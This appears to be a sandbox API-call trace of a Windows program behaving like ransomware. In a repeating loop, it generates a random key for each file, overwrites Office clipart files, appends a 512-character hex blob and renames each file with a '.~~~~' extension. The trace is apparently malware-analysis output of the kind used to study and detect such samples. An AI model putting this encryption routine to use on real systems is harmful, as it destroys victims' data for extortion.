	[0120.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4b60
	[0120.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.181] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.181] GetLastError () returned 0x0
	[0120.181] GetLastError () returned 0x0
	[0120.181] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.181] GetLastError () returned 0x0
	[0120.182] GetLastError () returned 0x0
	[0120.226] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.226] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1800, lpOverlapped=0x0) returned 1
	[0120.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.228] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.228] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.229] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.229] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.229] CloseHandle (hObject=0x128) returned 1
	[0120.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.~~~~")) returned 1
	[0120.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.345] GetLastError () returned 0x0
	[0120.368] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.369] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.369] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.370] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24035994352) returned 1
	[0120.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1377610, dwHighDateTime=0x1d60e1e)) 
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9bc0
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9bc0 | out: hHeap=0x300000) returned 1
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4c90
	[0120.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.371] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.371] GetLastError () returned 0x0
	[0120.371] GetLastError () returned 0x0
	[0120.371] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.371] GetLastError () returned 0x0
	[0120.371] GetLastError () returned 0x0
	[0120.374] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffd1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.374] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2e4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2e4, lpOverlapped=0x0) returned 1
	[0120.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.377] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.377] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.377] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.377] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.377] CloseHandle (hObject=0x128) returned 1
	[0120.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8758
	[0120.377] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.~~~~")) returned 1
	[0120.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.379] GetLastError () returned 0x0
	[0120.379] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.380] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.380] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24037039051) returned 1
	[0120.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb139d770, dwHighDateTime=0x1d60e1e)) 
	[0120.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9bf8
	[0120.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9bf8 | out: hHeap=0x300000) returned 1
	[0120.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4e58
	[0120.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.381] GetLastError () returned 0x0
	[0120.381] GetLastError () returned 0x0
	[0120.381] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.382] GetLastError () returned 0x0
	[0120.382] GetLastError () returned 0x0
	[0120.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffe95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.383] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x16b, lpOverlapped=0x0) returned 1
	[0120.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.385] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.385] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.385] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.385] CloseHandle (hObject=0x128) returned 1
	[0120.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8758
	[0120.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.~~~~")) returned 1
	[0120.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.387] GetLastError () returned 0x0
	[0120.387] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.389] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.389] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.389] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24037913158) returned 1
	[0120.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb139d770, dwHighDateTime=0x1d60e1e)) 
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9c30
	[0120.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9c30 | out: hHeap=0x300000) returned 1
	[0120.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4ef0
	[0120.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.390] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.390] GetLastError () returned 0x0
	[0120.391] GetLastError () returned 0x0
	[0120.391] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.391] GetLastError () returned 0x0
	[0120.391] GetLastError () returned 0x0
	[0120.393] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffe99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.393] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x167, lpOverlapped=0x0) returned 1
	[0120.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.438] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.438] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.438] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.438] CloseHandle (hObject=0x128) returned 1
	[0120.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.~~~~")) returned 1
	[0120.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.661] GetLastError () returned 0x0
	[0120.666] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.667] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.667] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.667] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24065732956) returned 1
	[0120.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb164b030, dwHighDateTime=0x1d60e1e)) 
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9920
	[0120.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9920 | out: hHeap=0x300000) returned 1
	[0120.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4f88
	[0120.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.668] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.668] GetLastError () returned 0x0
	[0120.668] GetLastError () returned 0x0
	[0120.668] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.668] GetLastError () returned 0x0
	[0120.668] GetLastError () returned 0x0
	[0120.670] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.670] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3b4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b4, lpOverlapped=0x0) returned 1
	[0120.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.671] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.671] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.671] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.671] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.672] CloseHandle (hObject=0x140) returned 1
	[0120.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8d40
	[0120.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.~~~~")) returned 1
	[0120.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8d40 | out: hHeap=0x300000) returned 1
	[0120.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.673] GetLastError () returned 0x0
	[0120.673] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.674] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.674] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.674] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24066423221) returned 1
	[0120.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1671190, dwHighDateTime=0x1d60e1e)) 
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea250
	[0120.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
